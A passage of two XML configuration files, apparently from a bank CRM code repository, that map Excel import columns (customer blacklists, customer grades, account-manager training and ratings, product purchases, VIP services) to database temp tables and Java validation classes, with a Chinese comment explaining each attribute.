<!--小微评级客户月均销售额导入-->\n\t<trade tradeCode=\"salesVolumeOfSmallImportInfo\" tableName=\"A_AC_CUST_MCR_SAL_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.SalesVolumeOfSmallImportImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"销售额\"  columnIndex=\"1\"  fieldCode=\"TRAD_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--客户群管理黑名单客户导入-->\n\t<trade tradeCode=\"importBlacklistCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.bob.action.BlacklistCustImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"客户号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"2\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"3\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"4\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--个金目标值导入-->\n     <trade tradeCode=\"importReportCfgNewInfo\" tableName=\"ACRM_M_TARGET_VAL_TEMP\" valiClass=\"com.yuchengtech.bob.action.ReportCfgNewImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ORDER_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"报表编号\" columnIndex=\"1\" fieldCode=\"REPORT_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"报表名称\"  columnIndex=\"2\"  fieldCode=\"REPORT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构ID\"  columnIndex=\"3\"  fieldCode=\"ORG_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构名称\"  columnIndex=\"4\"  fieldCode=\"ORG_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"5\"  fieldCode=\"BRANCH_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"6\"  fieldCode=\"BRANCH_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标名称\"  columnIndex=\"7\"  fieldCode=\"STAT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标ID\"  columnIndex=\"8\"  fieldCode=\"STAT_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"项目\"  columnIndex=\"9\"  fieldCode=\"PROJECT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"目标值\" columnIndex=\"10\" fieldCode=\"INDEX_VAL\" isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"最后更新日期\"  columnIndex=\"11\"  fieldCode=\"UPDATETIME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     \n     <!-- 客户分配导入信息 -->\n     <trade tradeCode=\"importCustBelong\" tableName=\"ACRM_F_CI_BELONG_IMP\" valiClass=\"com.yuchengtech.bcrm.customer.belong.action.CustBelongImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构主协办类型\"  columnIndex=\"3\"  fieldCode=\"ORG_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"4\"  fieldCode=\"ORG_CODE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"5\"  fieldCode=\"ORG_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理主协办类型\"  columnIndex=\"6\"  fieldCode=\"MGR_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理ID\"  columnIndex=\"7\"  fieldCode=\"MGR_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"客户经理名称\"  columnIndex=\"8\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     <!-- 公司评级 importCompanyGrade -->\n     <trade tradeCode=\"importCompanyGrade\" tableName=\"ACRM_F_CI_OGRADE_RESULT_TEMP\" valiClass=\"com.yuchengtech.bcrm.custmanager.action.CustGradeCompanyImport\" sheetStartIndex=\"1\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  \t<column  name=\"客户号\"    columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户名称\"   columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n\t   \t<column  name=\"客户等级ID\"    columnIndex=\"2\"  fieldCode=\"CUST_GRADE_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户等级类型\"    columnIndex=\"3\"  fieldCode=\"CUST_GRADE_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       \t<column  name=\"本期客户等级\"    columnIndex=\"4\"  fieldCode=\"CUST_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"是否本月新增\"    columnIndex=\"5\"  fieldCode=\"IS_MONTH_ADD\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润\"    columnIndex=\"6\"  fieldCode=\"RETAIN_PROFIT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业净收入\"    columnIndex=\"7\"  fieldCode=\"IN_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业外净收入\"    columnIndex=\"8\"  fieldCode=\"OUT_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"所得税\"    columnIndex=\"9\"  fieldCode=\"INCOME_TAX\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款减值准备\"    columnIndex=\"10\"  fieldCode=\"LOAN_IMPAIRMENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"60\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"EVA\"    columnIndex=\"11\"  fieldCode=\"EVA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"经济资本占用\"    columnIndex=\"12\"  fieldCode=\"FINA_ASSET_EMPLOY\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模\"    columnIndex=\"13\"  fieldCode=\"BUSI_SCALE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存款年日均\"    columnIndex=\"14\"  fieldCode=\"DEP_YDAY_AVG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年日均\"    columnIndex=\"15\"  fieldCode=\"LOAN_YDAY_AVG\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年收息\"    columnIndex=\"16\"  fieldCode=\"LOAN_YDAY_INTEREST\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存贷比\"    columnIndex=\"17\"  fieldCode=\"DEP_LOAN_PROP\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"存款加权季末余额\"    columnIndex=\"18\"  fieldCode=\"DEP_WEIGHT_ENDS_BAL\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"外汇收支\"    columnIndex=\"19\"  fieldCode=\"FOREIGN_EXCHANGE\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC\"    columnIndex=\"20\"  fieldCode=\"EVALUATE_RAROC\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贴现)\"    columnIndex=\"21\"  fieldCode=\"RAROC_DISCOUNT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贸易融资)\"    columnIndex=\"22\"  fieldCode=\"RAROC_TRADE_FINA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润等级结果\"    columnIndex=\"23\"  fieldCode=\"RETAIN_PROFIT_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC等级结果\"    columnIndex=\"24\"  fieldCode=\"EVALUATE_RAROC_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模等级结果\"    columnIndex=\"25\"  fieldCode=\"BUSI_SCALE_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--客户经理培训信息批量导入-->\n   <trade tradeCode=\"mgrCourseBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_COURSE_TEMP\" valiClass=\"com.yuchengtech.bob.action.CustManagerCourseImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n      <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n      <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"2\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课程名称\"  columnIndex=\"3\"  fieldCode=\"COURSE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训日期\"  columnIndex=\"4\"  fieldCode=\"COURSE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课堂表现\"  columnIndex=\"5\"  fieldCode=\"PERFORMANCE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"考核成绩\"  columnIndex=\"6\"  fieldCode=\"EXAMINE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"加分项\"  columnIndex=\"7\"  fieldCode=\"BONUS_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训心得\"  columnIndex=\"8\"  fieldCode=\"THOUGHT_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \t\n   <!--客户经理等级批量导入-->\n   <trade tradeCode=\"mgrClassBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_CLASS_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.CustManagerClassImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t \t <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   <!-- \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>-->\n   \t  <column name=\"等级\"  columnIndex=\"2\"  fieldCode=\"MGR_CLASS\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t<!--   <column name=\"有效期\"  columnIndex=\"4\"  fieldCode=\"EFFECT_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>  --> \n   </trade>\n   \n      <!--客户经理评级信息导入-->\n   <trade tradeCode=\"mgrGradeInfoImport\" tableName=\"ACRM_MGR_CPN_DATA_IMP_TEMP\" valiClass=\"com.yuchengtech.bob.action.MgrGradeInfoImport\" sheetStartIndex=\"0\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  <column name=\"客户经理工号\"  columnIndex=\"0\"  fieldCode=\"MGR_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"年度考核结果\"    columnIndex=\"2\"  fieldCode=\"DNKHJG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"品德合规状况\"    columnIndex=\"3\"  fieldCode=\"DDHGZK\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"公关营销能力\"    columnIndex=\"4\"  fieldCode=\"GGYXNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其它调整项1\"    columnIndex=\"5\"  fieldCode=\"QTTZX1\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"营销竞赛排名\"    columnIndex=\"6\"  fieldCode=\"YXJSNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"新产品创新及推广\"    columnIndex=\"7\"  fieldCode=\"XCPTG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷工作能力\"    columnIndex=\"8\"  fieldCode=\"XDGZNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他调整项2\"    columnIndex=\"9\"  fieldCode=\"QTTZX2\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现加分\"    columnIndex=\"10\"  fieldCode=\"PXBX_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务\"    columnIndex=\"11\"  fieldCode=\"GFHFW_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"交叉持证资格\"    columnIndex=\"12\"  fieldCode=\"JCCZZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他项目加分\"    columnIndex=\"13\"  fieldCode=\"QTXM\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       <column  name=\"贷后管理工作\"    columnIndex=\"14\"  fieldCode=\"DHGLGZ\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现扣分\"    columnIndex=\"15\"  fieldCode=\"PXBX_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务扣分\"    columnIndex=\"16\"  fieldCode=\"GFHFW_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷从业资格/银行从业资格扣分\"    columnIndex=\"17\"  fieldCode=\"XDCYZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n\n\t\n     \n</root>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/ImportTradeDefine.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<root>\n    <!-- \n        tradeCode:交易码， 用以确定每一个业务逻辑模块唯一的导入交易。\n        tableName：表名，后台物理表中用以存储导入数据的临时表名。\n        valiClass：数据从临时表到实际业务表的逻辑实现类名，该类实现com.yuchengtech.bob.importimpl.ImportInterface接口。如不填写，则默认为com.yuchengtech.bob.importimpl.DefaultImpl类.\n        sheetStartIndex:导入EXCEL文件中，导入数据的起始页签,默认为0。\n        creatorColumn=临时表中“创建人”的列名，该列不在column中配置。\n        creatOrgColumn=临时表中“创建机构”的列名，该列不在column中配置。\n        creatDateColumn=临时表中“创建日期”的列名，该列不在column中配置。\n                                    列定义：\n                name：中文名称；\n                columnIndex:该列对应数据在导入的EXCEL sheet中所出列数（从0开始计数）。\n                fieldCode：该列数据对应的临时表中的列名。\n                isPk:是否主键，主键生成策略：IMP_+导入批次号_+sheet页号_+数据行号.主键请在物理表中定义为varchar2类型,且长度在30以上。\n                type:数据类型。目前主要使用3中数据类型校验，“NUMBER”,\"VARCHAR2\",\"DATE\"类型，默认按VARCHAR2类型处理。\n                length:数据长度,默认为0。\n                precial:数据精度，默认为0。\n                isNull：可否为空，默认为false。\n                                    数据处理策略：\n                                           数字类型：超出长度精度部分，整数部分截取右边，小数部分截取左边。isNull=\"false\"，且数据为空时，取0,长度为0，则不处理.\n                                           字符串类型：查出长度部分，截取右边，长度为0，则不处理。\n                                          日期数据：对于不合法数据，置空，如不可为空，则置为当前时间，长度为0，则不处理。\n     -->\n    <trade tradeCode=\"ImportTest\" tableName=\"A_IMPORT_TEST\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"CREATOR\" creatOrgColumn=\"CREATORORG\" creatDateColumn=\"CREATORDATE\">\n        <column name=\"主键\" columnIndex=\"2\" fieldCode=\"IDPK\" isPK=\"true\" type=\"VARCHAR2\" length=\"\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"var数据\" columnIndex=\"3\" fieldCode=\"DATAVAR\" isPK=\"false\" type=\"VARCHAR2\" length=\"10\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"num数据\" columnIndex=\"4\" fieldCode=\"DATANUM\" isPK=\"false\" type=\"NUMBER\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"日期数据\" columnIndex=\"5\" fieldCode=\"DATADATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp\" tableName=\"OCRM_F_CI_P_PROBUY_INFO\" valiClass=\"\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\" columnIndex=\"2\" fieldCode=\"CUST_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件类型\" columnIndex=\"3\" fieldCode=\"CERT_TYPE\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件号码\" columnIndex=\"4\" fieldCode=\"CERT_NUM\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品编号\" columnIndex=\"5\" fieldCode=\"PRODUCT_NO\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品名称\" columnIndex=\"6\" fieldCode=\"PRODUCT_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买金额\" columnIndex=\"7\" fieldCode=\"BUY_AMT\" isPK=\"false\" type=\"NUMBER\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加日期\" columnIndex=\"8\" fieldCode=\"OPP_DATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加理由\" columnIndex=\"9\" fieldCode=\"OPP_REASON\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"操作类型\"  columnIndex=\"10\" fieldCode=\"OPP_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作人\"  columnIndex=\"11\"  fieldCode=\"OPP_USER\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp1\" tableName=\"OCRM_F_CI_P_PROBUY_INFO_TEMP\" valiClass=\"com.yuchengtech.bob.action.ProbuyImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品编号\"  columnIndex=\"5\"  fieldCode=\"PRODUCT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品名称\"  columnIndex=\"6\"  fieldCode=\"PRODUCT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买金额\"  columnIndex=\"7\"  fieldCode=\"BUY_AMT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除日期\"  columnIndex=\"8\"  fieldCode=\"OPP_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除理由\"  columnIndex=\"9\"  fieldCode=\"OPP_REASON\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作类型\"   columnIndex=\"10\"  fieldCode=\"OPP_TYPE\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"操作人\"   columnIndex=\"11\"   fieldCode=\"OPP_USER\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n   \t</trade>\n   \n    <!--证件号码导入（客户群）-->\n    <trade tradeCode=\"importantGroupCust\" tableName=\"OCRM_F_GROUP_TEMP\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"序号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件类型\"  columnIndex=\"1\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"12\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件号码\"  columnIndex=\"2\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n   \t<!--贵宾卡增值服务参数导入-->\n    <trade tradeCode=\"importVipCardAddServiceParamt\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipAddServiceParamImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"贵宾卡级别\"  columnIndex=\"1\"  fieldCode=\"VIP_CARD_LEVEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"提供商\"  columnIndex=\"2\"  fieldCode=\"PROVIDER_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务名称\"  